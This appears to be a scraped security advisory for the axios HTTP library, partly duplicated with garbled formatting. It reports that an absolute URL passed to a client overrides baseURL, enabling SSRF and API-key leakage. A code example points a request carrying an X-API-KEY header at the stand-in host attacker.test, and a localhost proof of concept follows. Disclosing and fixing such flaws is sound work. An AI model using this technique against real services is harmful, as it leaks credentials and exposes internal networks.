Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463
I have identified a similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
- When
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.
- Before sending the HTTP request (after combining the
baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
- Run the script:
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURL
and does not validate path parameters is affected by this issue.
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463
I have identified a similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if
baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.Details
Consider the following code snippet:
In this example, the request is sent to
http://attacker.test/
instead of thebaseURL
. As a result, the domain owner ofattacker.test
would receive theX-API-KEY
included in the request headers.baseURL
is set, passing an absolute URL such ashttp://attacker.test/
toget()
should not ignorebaseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL
.PoC
Follow the steps below to reproduce the issue:
Even though
baseURL
is set tohttp://localhost:10001/
, axios sends the request tohttp://localhost:10002/
.Impact
baseURL
and does not validate path parameters is affected by this issue.